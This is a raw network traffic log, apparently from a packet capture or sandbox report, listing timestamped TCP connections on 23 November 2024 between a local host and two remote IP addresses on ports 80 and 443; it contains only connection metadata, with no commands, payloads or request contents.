Nov 23, 2024 15:22:23.864130974 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.864177942 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.864986897 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.865031958 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.865041018 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.865089893 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.866019011 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.866071939 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.866075993 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.866122007 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.867058039 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.867113113 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.867122889 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.867161036 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.868190050 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.868247032 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.868275881 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.868314028 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.869102955 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.869158983 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.869230032 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.869281054 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.870119095 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.870184898 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.870256901 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.870306969 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.871196985 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.871257067 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.871305943 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.871378899 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.872329950 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.872386932 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.872451067 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.872523069 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.873209000 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.873290062 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.873337984 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.873470068 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.874255896 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.874319077 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.874372959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.874428034 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.875293970 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.875355959 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.875425100 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.875485897 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.876310110 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.876369953 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.876420021 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.876470089 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.877296925 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.877351999 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.877420902 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.877477884 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.878346920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.878410101 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.878479004 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.878523111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.879398108 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.879451036 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.879478931 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.879535913 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.880424976 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.880475998 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.880527020 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.880599976 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.881453991 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.881515980 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.881583929 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.881639004 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.882539988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.882595062 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.882606030 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.882638931 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.883522034 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.883577108 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.883588076 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.883620977 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.884666920 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.884731054 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.884814024 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.884881020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.885574102 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.885634899 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.885689974 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.885752916 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.886603117 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.886667967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.886707067 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.886749029 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.887612104 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.887675047 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.887718916 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.887814045 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.888638973 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.888698101 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.888767004 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.888823032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.889673948 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.889749050 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.889782906 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.889828920 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.890690088 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.890808105 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.890851974 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.891731977 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.891787052 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.891787052 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.891832113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.892759085 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.892817974 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.892882109 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.892955065 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.893795013 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.893851042 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.893910885 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.894038916 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.894856930 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.894912004 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.894912958 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.894963026 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.895891905 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.895946980 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.896009922 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.896063089 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.896893978 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.896949053 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:23.897008896 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:23.897195101 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.024421930 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:24.024485111 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:24.024648905 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:24.024753094 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:24.024764061 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:24.024774075 CET	49800	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:24.024777889 CET	443	49800	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:24.027355909 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:24.027401924 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:24.027667999 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:24.027802944 CET	49806	443	192.168.2.4	13.107.246.63
Nov 23, 2024 15:22:24.027832031 CET	443	49806	13.107.246.63	192.168.2.4
Nov 23, 2024 15:22:24.044876099 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.044934988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.044945002 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.045028925 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.045290947 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.045346975 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.045413017 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.045531034 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.046327114 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.046380997 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.046425104 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.046469927 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.047354937 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.047408104 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.047486067 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.047528982 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.048399925 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.048501015 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.048561096 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.049616098 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.049669981 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.049781084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.049861908 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.050899982 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.050956011 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.051090002 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.051143885 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.051810026 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.051863909 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.051943064 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.051990032 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.053080082 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.053138018 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.053200960 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.053329945 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.054301977 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.054337978 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.054404974 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.055331945 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.055385113 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.055389881 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.055444956 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.056395054 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.056466103 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.056502104 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.056682110 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.057176113 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.057229042 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.057235003 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.057353020 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.058113098 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.058208942 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.058227062 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.058285952 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.058831930 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.058886051 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.058948994 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.058993101 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.059710979 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.059770107 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.059833050 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.059967041 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.060689926 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.060745001 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.060807943 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.060861111 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.061738968 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.061798096 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.061861038 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.062788963 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.062848091 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.062901020 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.062951088 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.063833952 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.063890934 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.063935995 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.064007044 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.064850092 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.064905882 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.064968109 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.065020084 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.065920115 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.066004992 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.066065073 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.066878080 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.066939116 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.066998959 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.067070961 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.067918062 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.067977905 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.068025112 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.068075895 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.069071054 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.069132090 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.069184065 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.069236994 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.070178032 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.070267916 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.070331097 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.071093082 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.071154118 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.071208954 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.071260929 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.072010040 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.072065115 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.072102070 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.072181940 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.073070049 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.073127985 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.073184967 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.073241949 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.074101925 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.074230909 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.074290037 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.075186968 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.075252056 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.075308084 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.075362921 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.076126099 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.076184988 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.076266050 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.076317072 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.077164888 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.077320099 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.077378988 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.078195095 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.078356981 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.078418970 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.079219103 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.079277039 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.079415083 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.079586029 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.080259085 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.080311060 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.080316067 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.080379963 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.081279993 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.081346035 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.081381083 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.081433058 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.082328081 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.082384109 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.082461119 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.082588911 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.083399057 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.083457947 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.083590984 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.083643913 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.084539890 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.084614992 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.084671974 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.085400105 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.085459948 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.085524082 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.085676908 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.086435080 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.086560011 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.086623907 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.087455988 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.087515116 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.087681055 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.087934017 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.088489056 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.088617086 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.088649035 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.088691950 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.089493036 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.089550018 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.089689970 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.089848995 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.090579033 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.090744972 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.090811014 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.091723919 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.091761112 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.091783047 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.091830969 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.092597961 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.092653036 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.092734098 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.092778921 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.093628883 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.093760967 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.093775034 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.093935966 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.094681978 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.094739914 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.094753027 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.094805002 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.095737934 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.095796108 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.095851898 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.095900059 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.096724987 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.096853971 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.096915960 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.097757101 CET	80	49795	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:24.097829103 CET	49795	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:24.097887039 CET	80	49795	185.215.113.16	192.168.2.4
